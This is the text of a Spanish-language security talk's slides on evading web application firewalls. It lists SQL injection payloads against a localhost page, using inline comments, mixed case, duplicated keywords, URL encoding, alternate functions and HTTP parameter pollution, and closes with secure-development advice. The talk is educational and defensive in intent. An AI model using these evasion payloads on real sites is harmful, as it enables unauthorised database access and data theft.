Este documento describe varios métodos para burlar las protecciones de un firewall de aplicaciones web (WAF), incluyendo el uso de comentarios, alterar la sintaxis de consultas, duplicar palabras clave, codificar URL, usar otros comandos y contaminación de parámetros HTTP. El objetivo es demostrar que un WAF no garantiza la seguridad si el código subyacente es vulnerable. Se recomienda desarrollar aplicaciones de forma segura y no confiar ciegamente en las configuraciones predeterminadas de un WAF.
6. • Todo el contenido de esta charla es resultado de investigación con fines didácticos y
educativos. El autor no se hace responsable por el uso del conocimiento contenido en la
siguiente presentación. La información contenida debe ser utilizada únicamente para fines
éticos y con la debida autorización.
• Todo descubrimiento realizado, ha sido y será usado de forma legal. La audiencia debe asumir
todo lo que se exponga hoy, como “falso” y “sin fundamento” hasta que lo compruebe
personalmente. Limahack no es el autor directo de ninguno de los descubrimientos expuestos,
ni de las herramientas demostradas, ni los conoce.
• Todas las opiniones vertidas durante esta presentación son exclusivas del expositor, Limahack
no es responsable de ninguna de las opiniones vertidas.
DISCLAIMER
7. ¿ WAF ?
WAF = Web Application Firewall
Es un Firewall de Aplicaciones Web, que
monitorea el trafico del protocolo HTTP.
8. EL ADMINISTRADOR WEB
Los administradores web
piensan que usando un
firewall para su servidor
web estarán a salvo de
ataques, pero hoy vamos
a romper el mito. xD
9. ¿ Y PARA QUE SIRVE ?
Sirve para poder detectar “ciertas” peticiones
maliciosas con el uso de filtros y reglas definidas
dentro de una lista por el WAF.
10. ¿ Y MI WEB ES SEGURA SI USO WAF ?
Lamentablemente si tu código es vulnerable de nada
te servirá usarlo, ya que de todas maneras
se podrá pasar los filtros para poder penetrar al
servidor web.
11. ¿ COMO DETECTAMOS UN WAF ?
Es muy fácil, cuando introducimos comandos que
se utiliza en una Inyección SQL u otra vulnerabilidad
nos mostrara lo siguiente: (Hay tools que automatizan
el trabajo) .
14. ¿ Y COMO HAGO EL BYPASS ?
A continuación te mostrare métodos para poder
hacer el bypass y lograr penetrar al servidor web
1° Usando comentarios en la consulta
Normal
http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—
Bypass
http://127.0.0.1/noticias.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7—
La mayoría de WAF detectan pero con suerte todo es posible xD
15. BYPASSING WAF
2° Alterando la forma del comando
Normal
http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—
Bypass
http://127.0.0.1/noticias.php?id=-1 uNiOn sEleCt 1,2,3,4,5,6,7—
Este bypass también es detectado por algunos WAF.
Solo necesitamos un poco de suerte xD
Sigamos
16. BYPASSING WAF
3° Duplicando palabra clave
Normal
http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—
Bypass
http://127.0.0.1/noticias.php?id=-1 UNIunionON SELselectECT 1,2,3,4,5,6,7—
Los WAF cometen este error de filtrar palabras claves como “UNION”, “SELECT ”
pero que pasa si hacemos este tipo de consultas, confundiríamos al WAF cierto ?
Y al final la consulta se lograría con éxito
Sigamos
17. BYPASSING WAF
3° Usando comentarios y duplicados en la consulta
Normal
http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7--
Bypass
http://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,5,6,7--
Gran parte de los WAF no detectan este método.
18. BYPASSING WAF
Y eso es todo ?
Pues no, ahora viene lo mas emocionante.
Si los métodos anteriores no hicieron el bypass al
WAF, aquí te mostrare métodos mas avanzados para
poder saltarlos. (Nada es seguro en esta vida)
19. BYPASSING WAF
4° URL Encoding
Normal
http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7--
Bypass
http://127.0.0.1/noticias.php?id=-1 /*!uNI%4fn*/ /*!Sel%45Ct*/ 1,2,3,4,5,6,7--
Donde “O” es igual a “%4f” y “E” es igual a “%45”
Lo que hicimos fue colocar el valor de la letra en HEX Codificado para URL.
21. BYPASSING WAF
5° Usar otros comandos en la consulta
Normal
http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,@@version,6,7--
Bypass
http://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,version(),6,7--
Todo esta en ver si el comando esta en la lista negra y de ser el caso, usar otra
opción para poder hacer el bypass.
22. BYPASSING WAF
6° HTTP Parameter Pollution
Es la contaminación de parámetros que pasan por
(GET o POST) en el protocolo HTTP.
Esta técnica la podremos usar dependiendo del tipo
de tecnología en el que
este desarrollada la aplicación (PHP, ASP, JSP, etc).
24. BYPASSING WAF
¿ Y COMO APLICO LA TECNICA PARA HACER BYPASS AL WAF ?
Supongamos que dupliquemos el parámetro en la URL para alterar la
aplicación.
http://127.0.0.1/noticias.php?id= 1’ EL WAF ME BANEA =(
http://127.0.0.1/noticias.php?id= 1&id=2’ BYPASS WAF =)
En PHP, siempre evalúa la ultima variable pero si el WAF esta
configurado por defecto como en la mayoría de los casos, pasa esto.
25. BYPASSING WAF
Siguiendo con HTTP Parameter Pollution, podríamos hacer bypass
a un WAF sin ningún problema, ya que pocos son los WAF que se
centran en esta técnica y la potencia que tiene.
26. BYPASSING WAF
Así como pudimos realizar bypass a los WAF para poder realizar las
Inyecciones SQL, también podríamos concretar otros ataques , ya solo
Es cuestión de creatividad
27. BYPASSING WAF
RECOMENDACIONES
- Desarrolla tus aplicaciones de forma segura, pensando como un
atacante.
- Si vas a usar WAF, no uses la configuración por defecto.
- Trata de documentarte lo mas que puedas.